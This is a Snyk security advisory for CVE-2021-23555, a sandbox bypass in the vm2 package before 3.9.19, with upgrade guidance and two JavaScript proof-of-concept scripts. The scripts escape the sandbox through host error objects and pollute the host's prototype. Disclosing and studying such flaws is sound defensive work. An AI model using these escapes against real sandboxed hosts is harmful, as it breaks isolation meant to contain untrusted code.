Sandbox Bypass Affecting org.webjars.npm:vm2 package, versions [,3.9.19)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JAVA-ORGWEBJARSNPM-3113862
- published9 Feb 2022
- disclosed6 Dec 2021
- creditCris Staicu, Abdullah Alhamdan
Introduced: 6 Dec 2021
CVE-2021-23555 (opens in a new tab)How to fix?
Upgrade org.webjars.npm:vm2 to version 3.9.19 or higher.
Overview
org.webjars.npm:vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Sandbox Bypass via direct access to host error objects generated by node internals during generation of a stacktraces, which can lead to execution of arbitrary code on the host machine.
PoC 1
// tested on Node.js 16.10.0
const {VM} = require('vm2');
vmInstance = new VM();
console.log(vmInstance.run(`
function foo(ref) {
new Error().stack;
}
let obj = {};
Object.defineProperty(Object.prototype, 0, {
set: function () {
foo(this);
try {
obj[0] = 0;
} catch (e) {
e.__proto__.__proto__.__proto__.polluted = 'success';
}
}
})
`));
console.log(polluted);
PoC 2
// tested with Node.js 17.1.0 and latest vm2 version
// generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2');
vmInstance = new VM();
vmInstance.run(`
function getRootPrototype(obj) {
while (obj.__proto__) {
obj = obj.__proto__;
}
return obj;
}
function stack(ref, cb) {
let stack = new Error().stack;
stack.match(/checkReferenceRecursive/g);
}
try {
global.temp0 = RegExp.prototype.__defineGetter__('global', () => {
getRootPrototype(this);
stack(this);
return true;
}), function functionInvocationAnalysis(r) {
stack(r);
}(temp0), global.temp0;
RegExp.prototype.exec = function (str) {
stack(arguments);
};
} catch (e) {
getRootPrototype(e).polluted = "success";
}
`);
console.log(polluted);